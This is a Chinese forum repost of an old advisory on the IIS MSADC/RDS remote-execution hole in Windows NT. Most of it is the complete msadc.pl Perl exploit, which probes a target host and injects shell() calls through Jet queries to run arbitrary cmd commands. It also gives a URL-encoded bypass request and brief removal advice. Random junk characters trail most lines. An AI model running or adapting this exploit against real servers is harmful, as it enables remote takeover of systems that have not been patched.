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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) `Qv7aY  
x'; 6  
涉及程序: <[?oP[ j  
Microsoft NT server 9C$b^wHd  
8=T;R&U^M  
描述: pQ*9)C   
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 %]>c4"H  
WhSQ>h!@s  
详细: +XJj:%yt  
如果你没有时间读详细内容的话,就删除: u=jF\W9  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 9<WMM)  
有关的安全问题就没有了。 f/?# 1  
4 Yc9Ij  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 -fz |  
.jZmQtc  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 }-)2CEj3L%  
关于利用ODBC远程漏洞的描述,请参看: [U]*OQH`e  
A"\kdxC  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 4t|g G`QW7  
Vur$t^zE  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 LSNa  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp %U)/>Z  
$91c9z;f^  
这里不再论述。 22`W*e@6h  
p< '#f,o  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ~o= Sxaf  
L"1UUOKy  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset m7^aa@^m  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! wS <d8gw  
Eg5|XV  
&iR>:=ks N  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 3) zanoYHi  
^u:7U4  
#!perl %(Nu"3|$K=  
# ._~_OVU  
# MSADC/RDS 'usage' (aka exploit) script qWHH% L;  
# /0d_{Y+9  
# by rain.forest.puppy qWGnIPk  
# n(/(F `  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me V z8o  
# beta test and find errors! 5 1@V""m  
8V;@yzI ha  
use Socket; use Getopt::Std; {tV)+T  
getopts("e:vd:h:XR", \%args);  3p"VmO  
O>w Gc8Of\  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; `ndesP  
LgjL+w19  
if (!defined $args{h} && !defined $args{R}) { IwKhun  
print qq~ ^L+*}4Dr  
Usage: msadc.pl -h <host> { -d <delay> -X -v } ,_r"=>?@  
-h <host> = host you want to scan (ip or domain) dZIAotHN:  
-d <seconds> = delay between calls, default 1 second gV):3mWC  
-X = dump Index Server path table, if available :mX c|W3  
-v = verbose d `>M-:dF  
-e = external dictionary file for step 5 UQaLhK v:  
s-}|_g.Pt  
Or a -R will resume a command session s&iM.[k  
bA@!0,m  
~; exit;} tU >wRw=d  
G6w&C^J*8>  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; Z%y>q|:  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 2^bq4c4J  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} _Buwz_[&  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); \acJ9N  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} dD?1te  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ';hU&D;s  
8E&}+DR?  
if (!defined $args{R}){ $ret = &has_msadc; o=_:g >5  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} Sf B+;i'D  
Yew n  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" cNtGjLpx;  
. "cmd /c "; Ah;2\0|t  
$in=<STDIN>; chomp $in; ^G[xQcM73  
$command="cmd /c " . $in ; & 1p\.Y  
UZi^ &  
if (defined $args{R}) {&load; exit;} gYA|JFi  
zIi|z}WJ  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; TUIj-HSe  
&try_btcustmr; &W-L`aFd0  
wOOBW0tj  
print "\nStep 2: Trying to make our own DSN..."; 7cr@;%#  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; V8ZE(0&II}  
2qo=ud  
print "\nStep 3: Trying known DSNs...";  iE=Yh  
&known_dsn; =<e|<EwSZ  
(wEaa'XL  
print "\nStep 4: Trying known .mdbs..."; L@HPU;<  
&known_mdb; l_hM,]T0  
P,k~! F^L  
if (defined $args{e}){ swYlp  
print "\nStep 5: Trying dictionary of DSN names..."; kQ 7$,K#  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } WjW+ EF8(  
0^az<!!O#  
print "Sorry Charley...maybe next time?\n"; :tp2@*] 9Z  
exit; +D[|L1{xb  
'$YB -  
############################################################################## <k<K"{  
KtchK pv  
sub sendraw { # ripped and modded from whisker =dx!R ,Bw  
sleep($delay); # it's a DoS on the server! At least on mine... E0!}~Z)  
my ($pstr)=@_; vH%AXz IA  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || <vJPKQ`=:  
die("Socket problems\n"); btHN  
if(connect(S,pack "SnA4x8",2,80,$target)){ seC]=UJh#>  
select(S); $|=1; Umjt~K^Z  
print $pstr; my @in=<S>; 0vuL(W8)  
select(STDOUT); close(S); C8rD54A'M  
return @in; I|9(*tq)  
} else { die("Can't connect...\n"); }} G# gUd'=M  
lYmqFd~p  
############################################################################## -$**/~0zU  
@X4Ur+d  
sub make_header { # make the HTTP request AD#]PSB  
my $msadc=<<EOT V>ML-s9  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 '9c`[^  
User-Agent: ACTIVEDATA GL[#XB>n  
Host: $ip 4z#{nZG  
Content-Length: $clen NdGIH/Y;M  
Connection: Keep-Alive p4C w#)BaS  
ig<Eyr  
ADCClientVersion:01.06 [zl@7X1{_  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 fftFNHP  
JQ=i{9iJ  
--!ADM!ROX!YOUR!WORLD! T]-yTsto  
Content-Type: application/x-varg eQu%TZ(x-$  
Content-Length: $reqlen g}"`@H(9r3  
xI}o8GKQq  
EOT dU1w)Y  
; $msadc=~s/\n/\r\n/g; X TEC0s"F  
return $msadc;} 0D/u`-  
(|)`~z  
############################################################################## c[\ :^w^I6  
lffp\v{w  
sub make_req { # make the RDS request Hy ^E m  
my ($switch, $p1, $p2)=@_; M #'br<]  
my $req=""; my $t1, $t2, $query, $dsn; x;)bp7  
:Rv ?>I j  
if ($switch==1){ # this is the btcustmr.mdb query 0T7(c-  
$query="Select * from Customers where City=" . make_shell(); Z:DEET!c'k  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . RO[Ko-m|/N  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} J ^gtSn^  
$&~/`MxE  
elsif ($switch==2){ # this is general make table query O4RNt,?l  
$query="create table AZZ (B int, C varchar(10))"; _G%]d$2f`  
$dsn="$p1";} EBlfwFd  
!>fYD8Ft,  
elsif ($switch==3){ # this is general exploit table query yTzP{I  
$query="select * from AZZ where C=" . make_shell(); LOQoi8j  
$dsn="$p1";} c.-h'1  
j[l6&eX  
elsif ($switch==4){ # attempt to hork file info from index server xFxl9oM."  
$query="select path from scope()"; Mx{VN P  
$dsn="Provider=MSIDXS;";} o|Cq#JFG  
u$ C@0d  
elsif ($switch==5){ # bad query =sy>_   
$query="select"; 56gpAc  
$dsn="$p1";} U"$Q$ OFs  
i)9}+M 5  
$t1= make_unicode($query); ;,P-2\V/  
$t2= make_unicode($dsn); QR4rQu  
$req = "\x02\x00\x03\x00"; &7z79#1NS  
$req.= "\x08\x00" . pack ("S1", length($t1)); U<,@u,_Ja  
$req.= "\x00\x00" . $t1 ; 2 gz}]_  
$req.= "\x08\x00" . pack ("S1", length($t2)); kms&o=^  
$req.= "\x00\x00" . $t2 ; D^Ahw"X)  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ,K9\;{C  
return $req;} 3D_Ky Z~M+  
,dT.q  
############################################################################## CvfX m  
zvjVM"=G  
sub make_shell { # this makes the shell() statement GslUN% UJr  
return "'|shell(\"$command\")|'";} HDQhXw!!hc  
\{r-e  
############################################################################## Ft%HWGE  
t`NZ_w /  
sub make_unicode { # quick little function to convert to unicode !w iW#PR  
my ($in)=@_; my $out; U |I>CDp  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } S Y\ UuZ  
return $out;} 2WQKj9iyN  
A{\#.nC/z  
############################################################################## ! `5[(lm  
pRI<L'  
sub rdo_success { # checks for RDO return success (this is kludge) @P=St\;VP  
my (@in) = @_; my $base=content_start(@in); lyGQ6zlSn  
if($in[$base]=~/multipart\/mixed/){ 272j$T  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} nk.Y#+1)  
return 0;} [Du@go1C  
GT\, @$r  
############################################################################## n\d`Fk  
U'^AJ2L8  
sub make_dsn { # this makes a DSN for us +5J"G/f  
my @drives=("c","d","e","f"); [h>|6%sW  
print "\nMaking DSN: "; <$\vL   
foreach $drive (@drives) { s ^NO(  
print "$drive: "; pR_cI]{=SA  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . FTM(y CN  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" KrO oxrDcp  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); dw %aoe  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; &8'.Gw m}  
return 0 if $2 eq "404"; # not found/doesn't exist %Q]u_0P*  
if($2 eq "200") { <p@c %e,_  
foreach $line (@results) { XL[/)lX{  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} (vte8uQe  
} return 0;} l;i,V;@ t  
!0ly1T 9  
############################################################################## q6A!xQs<  
9pPb]v,6  
sub verify_exists { p- 5)J&  
my ($page)=@_; _;mN1Te  
my @results=sendraw("GET $page HTTP/1.0\n\n"); O%)@> 5#S  
return $results[0];} &gJKJ=7  
}~P%S(zB  
############################################################################## n8(B%KF  
p7(Pymkd  
sub try_btcustmr { .qVz rS  
my @drives=("c","d","e","f"); OJd!g/V  
my @dirs=("winnt","winnt35","winnt351","win","windows"); p.KX[I  
9hAS#|vK  
foreach $dir (@dirs) { i`o}*`//  
print "$dir -> "; # fun status so you can see progress ?DcRD)X  
foreach $drive (@drives) { t~pA2?9@  
print "$drive: "; # ditto {MmHR  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; `@GqD  
$reqlenlen=length( "$reqlen" ); 9k\`3SE  
$clen= 206 + $reqlenlen + $reqlen; =! v.VF\;  
;t47cUm6j  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); jvx9b([<sG  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} J6x\_]1:*  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 216+ tX5Z  
M=[/v/M=  
############################################################################## 2m. RM&TdB  
T1zft#1~  
sub odbc_error { ,4y' (DA  
my (@in)=@_; my $base; N;,?k.vU  
my $base = content_start(@in); 97:1L4w.(  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this * d6[k Y  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; xGbr>OqkTX  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; "%~\kJ(G  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; v+-f pl&  
return $in[$base+4].$in[$base+5].$in[$base+6];} kN uDoo]z  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; z9:@~3k.  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . $iQ>c6  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} \~xI#S@  
}*Qd]\fy  
############################################################################## tq=1C=h  
dDH+`;$.  
sub verbose { F\1nc"K/(  
my ($in)=@_; y7SOz'd  
return if !$verbose; :0o $qz2  
print STDOUT "\n$in\n";} Z4FyuWc3  
b ABx' E  
############################################################################## {9TWPB/>  
"cjZ6^Hum  
sub save { Mr'}IX5  
my ($p1, $p2, $p3, $p4)=@_; M,V+bt  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; BqZ^I eC$  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; ~^/zCPy[w  
close OUT;} ja$>>5<q  
Wd4fIegk  
############################################################################## L/(e/Jalg  
2&91C[da0  
sub load { $;un$ko6%  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; E [JXQ76  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); m1_?xU  
@p=<IN>; close(IN); .lu:S;JSnS  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); )gdv!  
$target= inet_aton($ip) || die("inet_aton problems"); || ?B1  
print "Resuming to $ip ..."; 5A1oZ+C#  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; / uI/8>p(  
if($p[1]==1) { oR}ir  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; ulFU(%&  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; o;Ijv\Em  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); eux _tyC  
if (rdo_success(@results)){print "Success!\n";} w?ssV  
else { print "failed\n"; verbose(odbc_error(@results));}}  l|`FW  
elsif ($p[1]==3){ XuJwZN!(  
if(run_query("$p[3]")){ J#*Uf>5NY  
print "Success!\n";} else { print "failed\n"; }} lEi,duS)  
elsif ($p[1]==4){ Fk D  
if(run_query($drvst . "$p[3]")){ X:-X3mV9{  
print "Success!\n"; } else { print "failed\n"; }} :NU-C!eT  
exit;} 475yX-A  
 N>`+{  
############################################################################## kF'^!Hp  
#1Mk9sxo  
sub create_table { I^Ichn  
my ($in)=@_; *lv)9L+0  
$reqlen=length( make_req(2,$in,"") ) - 28; Y~1}B_  
$reqlenlen=length( "$reqlen" ); etf ft8  
$clen= 206 + $reqlenlen + $reqlen; k Fv\V   
my @results=sendraw(make_header() . make_req(2,$in,"")); 7UHqiA`L  
return 1 if rdo_success(@results); ih `/1n  
my $temp= odbc_error(@results); verbose($temp); Z_' %'&Y  
return 1 if $temp=~/Table 'AZZ' already exists/; T Uhp  
return 0;} (Br$(XJoK}  
`.;7O27A^%  
############################################################################## DHpU?;|3  
m6V1m0M  
sub known_dsn { L5T)_iQ5  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ^ vI|  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", nR/; uTTz  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", ,r5<v_  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); r0G#BPgdR  
0w\X  
foreach $dSn (@dsns) { DjOFfD\MF  
print "."; "b%hAdR  
next if (!is_access("DSN=$dSn")); 2a.NWJS  
if(create_table("DSN=$dSn")){ wlqV1.K  
print "$dSn successful\n"; <0P`ct0,i  
if(run_query("DSN=$dSn")){ EC1q#;:  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ,2JqX>On>Y  
print "Something's borked. Use verbose next time\n";}}} print "\n";} GQqw(2Ub}  
!N$4.slr<p  
############################################################################## q`1t*<sk  
7qE V5!  
sub is_access { qNHS 1  
my ($in)=@_; 7tAWPSwf  
$reqlen=length( make_req(5,$in,"") ) - 28; ]wne2WXE  
$reqlenlen=length( "$reqlen" ); mXc/sh")X  
$clen= 206 + $reqlenlen + $reqlen; &o"Hb=k<  
my @results=sendraw(make_header() . make_req(5,$in,"")); }=A6Jv(j  
my $temp= odbc_error(@results); 7i{Rn K6*  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); rQ}4\PTi  
return 0;} +azPpGZ=  
PB>p"[ap4  
############################################################################## ~b\7 qx_a9  
JoW*)3Z  
sub run_query { _zh}%#6L  
my ($in)=@_; UShn)3F  
$reqlen=length( make_req(3,$in,"") ) - 28; '5ky<  
$reqlenlen=length( "$reqlen" ); XyS#6D  
$clen= 206 + $reqlenlen + $reqlen; Y@eHp-[  
my @results=sendraw(make_header() . make_req(3,$in,"")); H[@}ri<  
return 1 if rdo_success(@results); R'dF<&Kj|  
my $temp= odbc_error(@results); verbose($temp); &4*&L.hPM^  
return 0;} CcY.8|HT  
%>I!mD"X\  
############################################################################## !P@u4FCs  
yfTnj:Fz  
sub known_mdb { n_Um)GI>  
my @drives=("c","d","e","f","g"); lNsPwyCoj  
my @dirs=("winnt","winnt35","winnt351","win","windows"); EfDo%H^!j  
my $dir, $drive, $mdb; y=h2_jt  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; vCH>Fj"7  
q,nj|9z V  
# this is sparse, because I don't know of many gEKJrAA  
my @sysmdbs=( "\\catroot\\icatalog.mdb", *XH?|SV  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", ccD+o$7LT  
"\\system32\\certmdb.mdb", Xz]}cRQ[  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% aS~k.^N  
6/4OFvL1  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", "vLqYc4$  
"\\cfusion\\cfapps\\forums\\forums_.mdb", ^Jnp\o>  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", R2]?9\II  
"\\cfusion\\cfapps\\security\\realm_.mdb", :NbD^h)R  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", W[^XG\  
"\\cfusion\\database\\cfexamples.mdb", ac+7D:X  
"\\cfusion\\database\\cfsnippets.mdb", +Yi=W o/  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", PNc200`v4_  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", vJ"@#$.  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 9q* sR1  
"\\cfusion\\database\\smpolicy.mdb", Br#]FB|tD  
"\\cfusion\\database\cypress.mdb", w-/bLg[L?$  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", s #L1:L  
"\\website\\cgi-win\\dbsample.mdb", [Hd^49<P2  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", *otJtEI>6  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" Yf{s0Z  
); #these are just W@wT ,yJ8@  
foreach $drive (@drives) { Gw+z8^|C&}  
foreach $dir (@dirs){ sK?[ 1BI  
foreach $mdb (@sysmdbs) { ?rBj{]=  
print "."; 8(3vNuyP  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 1&jX~'  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 44%::Oh  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ >5^Z'!Z"  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; [*}[W6 3v  
} else { print "Something's borked. Use verbose next time\n"; }}}}} ;/oMH/,U8  
)%^oR5W  
foreach $drive (@drives) { 4D58cR}  
foreach $mdb (@mdbs) { 0w+hf3K+:  
print "."; c"O\fX  
if(create_table($drv . $drive . $dir . $mdb)){ L7D'wf  
print "\n" . $drive . $dir . $mdb . " successful\n"; g"T~)SQP  
if(run_query($drv . $drive . $dir . $mdb)){ ?Fi-,4  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; @Wx_4LOhf  
} else { print "Something's borked. Use verbose next time\n"; }}}} dDpe$N  
} N# ,4BU  
k(^zhET  
############################################################################## HwU \[f  
m7M*)N8  
sub hork_idx { WX0@H[$i#  
print "\nAttempting to dump Index Server tables...\n"; y~- ?   
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; W 8E<P y  
$reqlen=length( make_req(4,"","") ) - 28; #mllVQ  
$reqlenlen=length( "$reqlen" ); vjXvjv{t  
$clen= 206 + $reqlenlen + $reqlen; ir]uFOj  
my @results=sendraw2(make_header() . make_req(4,"","")); R4IFl z  
if (rdo_success(@results)){ 1Eg}qU,:  
my $max=@results; my $c; my %d; ~Zj?%4  
for($c=19; $c<$max; $c++){ h+Q ==  
$results[$c]=~s/\x00//g; k.lnG5e  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; mD)Nh  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 8<]> q  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; a?JU(  
$d{"$1$2"}="";} x(S 064  
foreach $c (keys %d){ print "$c\n"; } /@wm?ft6Gk  
} else {print "Index server doesn't seem to be installed.\n"; }} wh*OD  
q1?2 U<  
############################################################################## x7NxHTL  
pM#:OlqC  
sub dsn_dict { q!AS}rV  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); |xf%1(Rl@  
while(<IN>){ |Cen5s W&  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; H<NYm#a"  
next if (!is_access("DSN=$dSn")); 1/&j'B  
if(create_table("DSN=$dSn")){ P%/+?(?  
print "$dSn successful\n"; "V9!srIC  
if(run_query("DSN=$dSn")){ RisrU  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Tl=vgs1  
print "Something's borked. Use verbose next time\n";}}} 2}}~\C}o+  
print "\n"; close(IN);} $iP#8La:Y  
ZnJnjW PQ  
############################################################################## x(t} H8q  
'6xn!dK  
sub sendraw2 { # ripped and modded from whisker VS}Vl  
sleep($delay); # it's a DoS on the server! At least on mine... gH_r'j  
my ($pstr)=@_; +-.BF"}  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 1%-?e``.  
die("Socket problems\n"); MiSFT5$v6  
if(connect(S,pack "SnA4x8",2,80,$target)){ Ab(bvS8r$  
print "Connected. Getting data"; Cog:6Gnw  
open(OUT,">raw.out"); my @in; c3 wu&*p{  
select(S); $|=1; print $pstr; tXp)o >"  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 2XI%4  
close(OUT); select(STDOUT); close(S); return @in; /4T%&#6s  
} else { die("Can't connect...\n"); }} ?v")Z 0 ~  
aoJ&< vl3  
############################################################################## .4^Paxz  
3[e@mcO  
sub content_start { # this will take in the server headers 1:&$0jU&U  
my (@in)=@_; my $c; u5,IH2BU  
for ($c=1;$c<500;$c++) { =Wjm_Rvk9  
if($in[$c] =~/^\x0d\x0a/){ PkVXn  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } }F3Z~  
else { return $c+1; }}} :JN3@NsK  
return -1;} # it should never get here actually /NkZ;<uxJ  
bX6*/N  
############################################################################## L9kSeBt  
tjTF?>^6|  
sub funky { [2FXs52  
my (@in)=@_; my $error=odbc_error(@in); )Tb;N  
if($error=~/ADO could not find the specified provider/){ pD>3c9J'^F  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; J`x9 XWYw  
exit;} %2L9kw'  
if($error=~/A Handler is required/){ }BfwMq4E)n  
print "\nServer has custom handler filters (they most likely are patched)\n"; aSK$#Xeu  
exit;} ,%jJ ,G,  
if($error=~/specified Handler has denied Access/){ IcIMa  
print "\nServer has custom handler filters (they most likely are patched)\n"; ZtvU~'Q  
exit;}} A5/h*`Q\\  
t)m4"p7  
############################################################################## 8ziYav  
bZlAK)  
sub has_msadc { 2xnOWW   
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); h T Xc0  
my $base=content_start(@results); ~j 4=PT  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/);  LSfj7j`  
return 0;} >N3{*W  
MD On; Af>  
######################## A9R}74e4g  
3n/L; T,X  
g_x<+3a  
解决方案: '+eP%Y[W%  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll h]=chz  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 _AO0:&  
._R82 gy  
拿出来充数 哈哈
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